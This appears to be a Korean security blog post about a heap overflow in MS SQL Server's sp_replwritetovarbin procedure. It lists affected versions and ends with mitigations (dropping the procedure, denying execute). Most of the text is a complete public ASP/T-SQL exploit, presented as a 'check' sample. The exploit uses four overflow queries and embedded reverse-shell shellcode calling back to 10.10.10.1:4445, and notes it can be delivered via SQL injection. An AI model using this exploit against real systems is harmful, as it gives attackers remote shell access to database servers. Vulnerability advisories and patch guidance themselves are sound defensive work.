지난 12월 9일에 번하드 뭴러(Bernhard Mueller)는 악의를 가진 사용자가 권한을 탈취할 수 있는 취약점을 MS SQL 서버에서 발견했습니다. 

이 취약점은 "sp_replwritetovarbin()"이라는 확장 스토어 프로시저(Extended SP)를 구현하는 과정에서 메모리의 경계를 제대로 처리하지 못해 발생합니다. 이로 인해 교묘하게 조작된 코드를 사용하여 힙에 관련된 버퍼 오버플로 공격을 성공시킬 수 있습니다.


취약점이 있는 제품은 다음과 같습니다.

* MS SQL Server 2000 SP4

* MS SQL Server 2000 IA64 SP4

* MS SQL Server 2005 SP2

* MS SQL Server 2005 IA64 SP2

* MS SQL Server 2005 Express Edition SP2

* MS SQL Server 2005 Express Edition Advanced Services SP2

* MS SQL Server Desktop Engine (MSDE 2000) SP4

* MS SQL Server Desktop Engine (WMSDE)

* Windows Internal Database (WYukon) SP2


취약점이 없는 제품은 다음과 같습니다.

* MS SQL Server 7.0 SP4

* MS SQL Server 2005 SP3

* MS SQL Server 2005 x64 SP3

* MS SQL Server 2005 IA64 SP3

* MS SQL Server 2008

* MS SQL Server 2008 IA64

* MS SQL Server 2008 x64

한 편 이 취약점을 이용하는 공격 코드가 인터넷에 공개되어 있으며 아래 코드는 취약점이 있는지 확인할 수 있는 샘플 코드입니다.

  • // k`sOSe 12/17/2008
  • <%// Microsoft SQL Server "sp_replwritetovarbin()" Heap Overflow
  • // Tested on Win2k SP4 with MSSQL 2000(on one box only!).
  • // Shellcode is a slightly modified metasploit reverse shell(on 10.10.10.1 port 4445),
  • // the change allows multiple shots :)
  • //
  • // You need a valid SQL account, but you can also use this through an SQL-Injection simply by injecting the T-SQL stuff.
  • // Take a look at the comments in T-SQL
  • On Error Resume Next
  • // change this
  • UserName = "r00t"
  • Password = "t00r"
  • // ########################################### FIRST QUERY
  • SQL = "DECLARE @buf NVARCHAR(4000),             "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3020                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* First byte overwritten here. This is a random writable address */  "&_
  • "     SET @buf = @buf + CHAR(0x44) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### SECOND QUERY
  • SQL2 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3097                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Second byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x45) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### THIRD QUERY
  • SQL3 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 3021                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Third byte overwritten here */             "&_
  • "     SET @buf = @buf + CHAR(0x46) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • // ########################################### FOURTH QUERY
  • SQL4 = "DECLARE @buf NVARCHAR(4000),                "&_
  • "@val NVARCHAR(4),                      "&_
  • "@counter INT                           "&_
  • "SET @buf = '                           "&_
  • "declare @retcode int,                      "&_
  • "@end_offset int,                       "&_
  • "@vb_buffer varbinary,                      "&_
  • "@vb_bufferlen int                      "&_  
  • "exec master.dbo.sp_replwritetovarbin 120, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' "&_
  • "SET @val = CHAR(0x41)                      "&_
  • "SET @counter = 0                       "&_
  • "WHILE @counter < 2708                      "&_
  • "BEGIN                              "&_
  • "  SET @counter = @counter + 1                  "&_
  • "  IF @counter = 2900                       "&_ 
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x43)                 "&_
  • "  END                              "&_
  • "  IF @counter = 108                        "&_
  • "  BEGIN                            "&_
  • "     /* this is the pointer we wrote - 0x38. It points to a CALL ECX */    "&_
  • "    SET @buf = @buf + CHAR(0x10) + CHAR(0xc0) + CHAR(0x4c) + CHAR(0x19) "&_
  • "     /* realign code */                        "&_
  • "    SET @buf = @buf + CHAR(0xe1)               "&_
  • "     /* realign the stack */                   "&_
  • "    SET @buf = @buf + CHAR(0x83) + CHAR(0xe4) + CHAR(0xfc) "&_
  • "     /* jump ahead */                      "&_
  • "    SET @buf = @buf + CHAR(0xe9) + CHAR(0xba) + CHAR(0x00) + CHAR(0x00) + CHAR(0x00) "&_
  • "    SET @counter = @counter + 12               "&_
  • "    CONTINUE                           "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 299                   "&_
  • "  BEGIN                            "&_
  • "    SET @val =  CHAR(0x42)                 "&_
  • "  END                              "&_
  • "  ELSE IF @counter = 300                   "&_
  • "  BEGIN                            "&_
  • "     /* Fourth byte overwritten here */            "&_
  • "     SET @buf = @buf + CHAR(0x47) + char(0xc0) + char(0x4c) + CHAR(0x19) "&_
  • "     /* reverse shell on 10.10.10.1:4445 */            "&_
  • "     SET @buf=@buf+CHAR(0xfc)+CHAR(0x6a)+CHAR(0xeb)+CHAR(0x4d)+CHAR(0xe8)+CHAR(0xf9)+CHAR(0xff)
  • +CHAR(0xff)+CHAR(0xff)+CHAR(0x60)+CHAR(0x8b)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x24)+CHAR(0x8b)
  • +CHAR(0x45)+CHAR(0x3c)+CHAR(0x8b)+CHAR(0x7c)+CHAR(0x05)+CHAR(0x78)+CHAR(0x01)+CHAR(0xef)
  • +CHAR(0x8b)+CHAR(0x4f)+CHAR(0x18)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x20)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x49)+CHAR(0x8b)+CHAR(0x34)+CHAR(0x8b)+CHAR(0x01)+CHAR(0xee)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0x99)+CHAR(0xac)+CHAR(0x84)+CHAR(0xc0)+CHAR(0x74)+CHAR(0x07)+CHAR(0xc1)+CHAR(0xca)
  • +CHAR(0x0d)+CHAR(0x01)+CHAR(0xc2)+CHAR(0xeb)+CHAR(0xf4)+CHAR(0x3b)+CHAR(0x54)+CHAR(0x24)
  • +CHAR(0x28)+CHAR(0x75)+CHAR(0xe5)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x24)+CHAR(0x01)+CHAR(0xeb)
  • +CHAR(0x66)+CHAR(0x8b)+CHAR(0x0c)+CHAR(0x4b)+CHAR(0x8b)+CHAR(0x5f)+CHAR(0x1c)+CHAR(0x01)
  • +CHAR(0xeb)+CHAR(0x03)+CHAR(0x2c)+CHAR(0x8b)+CHAR(0x89)+CHAR(0x6c)+CHAR(0x24)+CHAR(0x1c)
  • +CHAR(0x61)+CHAR(0xc3)+CHAR(0x31)+CHAR(0xdb)+CHAR(0x64)+CHAR(0x8b)+CHAR(0x43)+CHAR(0x30)
  • +CHAR(0x8b)+CHAR(0x40)+CHAR(0x0c)+CHAR(0x8b)+CHAR(0x70)+CHAR(0x1c)+CHAR(0xad)+CHAR(0x8b)
  • +CHAR(0x40)+CHAR(0x08)+CHAR(0x5e)+CHAR(0x68)+CHAR(0x8e)+CHAR(0x4e)+CHAR(0x0e)+CHAR(0xec)
  • +CHAR(0x50)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x66)+CHAR(0x53)+CHAR(0x66)+CHAR(0x68)+CHAR(0x33)
  • +CHAR(0x32)+CHAR(0x68)+CHAR(0x77)+CHAR(0x73)+CHAR(0x32)+CHAR(0x5f)+CHAR(0x54)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xcb)+CHAR(0xed)+CHAR(0xfc)+CHAR(0x3b)+CHAR(0x50)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x5f)+CHAR(0x89)+CHAR(0xe5)+CHAR(0x66)+CHAR(0x81)+CHAR(0xed)+CHAR(0x08)
  • +CHAR(0x02)+CHAR(0x55)+CHAR(0x6a)+CHAR(0x02)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xd9)
  • +CHAR(0x09)+CHAR(0xf5)+CHAR(0xad)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x53)+CHAR(0x53)
  • +CHAR(0x53)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0x43)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd0)
  • +CHAR(0x68)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x0a)+CHAR(0x01)+CHAR(0x66)+CHAR(0x68)+CHAR(0x11)
  • +CHAR(0x5d)+CHAR(0x66)+CHAR(0x53)+CHAR(0x89)+CHAR(0xe1)+CHAR(0x95)+CHAR(0x68)+CHAR(0xec)
  • +CHAR(0xf9)+CHAR(0xaa)+CHAR(0x60)+CHAR(0x57)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x6a)+CHAR(0x10)
  • +CHAR(0x51)+CHAR(0x55)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x66)+CHAR(0x6a)+CHAR(0x64)+CHAR(0x66)
  • +CHAR(0x68)+CHAR(0x63)+CHAR(0x6d)+CHAR(0x6a)+CHAR(0x50)+CHAR(0x59)+CHAR(0x29)+CHAR(0xcc)
  • +CHAR(0x89)+CHAR(0xe7)+CHAR(0x6a)+CHAR(0x44)+CHAR(0x89)+CHAR(0xe2)+CHAR(0x31)+CHAR(0xc0)
  • +CHAR(0xf3)+CHAR(0xaa)+CHAR(0x95)+CHAR(0x89)+CHAR(0xfd)+CHAR(0xfe)+CHAR(0x42)+CHAR(0x2d)
  • +CHAR(0xfe)+CHAR(0x42)+CHAR(0x2c)+CHAR(0x8d)+CHAR(0x7a)+CHAR(0x38)+CHAR(0xab)+CHAR(0xab)
  • +CHAR(0xab)+CHAR(0x68)+CHAR(0x72)+CHAR(0xfe)+CHAR(0xb3)+CHAR(0x16)+CHAR(0xff)+CHAR(0x75)
  • +CHAR(0x28)+CHAR(0xff)+CHAR(0xd6)+CHAR(0x5b)+CHAR(0x57)+CHAR(0x52)+CHAR(0x51)+CHAR(0x51)
  • +CHAR(0x51)+CHAR(0x6a)+CHAR(0x01)+CHAR(0x51)+CHAR(0x51)+CHAR(0x55)+CHAR(0x51)+CHAR(0xff)
  • +CHAR(0xd0)+CHAR(0x68)+CHAR(0xad)+CHAR(0xd9)+CHAR(0x05)+CHAR(0xce)+CHAR(0x53)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0x6a)+CHAR(0xff)+CHAR(0xff)+CHAR(0x37)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)
  • +CHAR(0xe7)+CHAR(0x79)+CHAR(0xc6)+CHAR(0x79)+CHAR(0xff)+CHAR(0x75)+CHAR(0x04)+CHAR(0xff)
  • +CHAR(0xd6)+CHAR(0xff)+CHAR(0x77)+CHAR(0xfc)+CHAR(0xff)+CHAR(0xd0)+CHAR(0x68)+CHAR(0xef)
  • +CHAR(0xce)+CHAR(0xe0)+CHAR(0x60)+CHAR(0x53)+CHAR(0xff)+CHAR(0xd6)      "&_
  • "     CONTINUE                          "&_
  • "  END                              "&_
  • "  SET @buf = @buf + @val                   "&_
  • "END                                "&_
  • "SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''   "&_
  • "EXEC master..sp_executesql @buf"
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  • oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  • phase = Request.Querystring("p")
  • if phase then
  • if phase = 1 then
  •         rs.open SQL3, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=2")
  • elseif phase = 2 then
  •         rs.open SQL4, oConnection
  •         rs.close
  •         oConnection.Close
  • Set oConnection = Nothing
  •         Response.Redirect("sql-exploit.asp?p=3")
  • end if
  • Else
  •     rs.open SQL, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  • Set oConnection = Server.CreateObject("ADODB.Connection")
  •     oConnection.Open "Provider=SQLOLEDB; Data Source=; Initial Catalog=; User ID=" & UserName & "; Password=" & Password
  • Set rs = Server.CreateObject("ADODB.Recordset")
  •     rs.open SQL2, oConnection
  •     rs.close
  •     oConnection.Close
  • Set oConnection = Nothing
  •     Response.Redirect("sql-exploit.asp?p=1")
  • end if
  • %>
  •  현재 취약점을 해결하는 패치가 제공되고 있지 않으므로 다음과 같이 sp_replwritetovarbin() 프로시저를 실행하지 않도록 제거하는 것이 좋습니다.

    execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'

    참고자료: SP를 제거하는 방법

     또한 sp_replwritetovarbin() 프로시저를 액세스하지 못하도록 아래와 같이 명령어를 실행해도 됩니다. 명령어는 관리자 권한에서 실행해야 합니다.

    use master

    deny execute on _replwritetovarbin to public

    참고자료: http://www.microsoft.com/technet/security/advisory/961040.mspx

    감사합니다.

    2009/05/19 20:31 2009/05/19 20:31

    Trackback Address :: 이 글에는 트랙백을 보낼 수 없습니다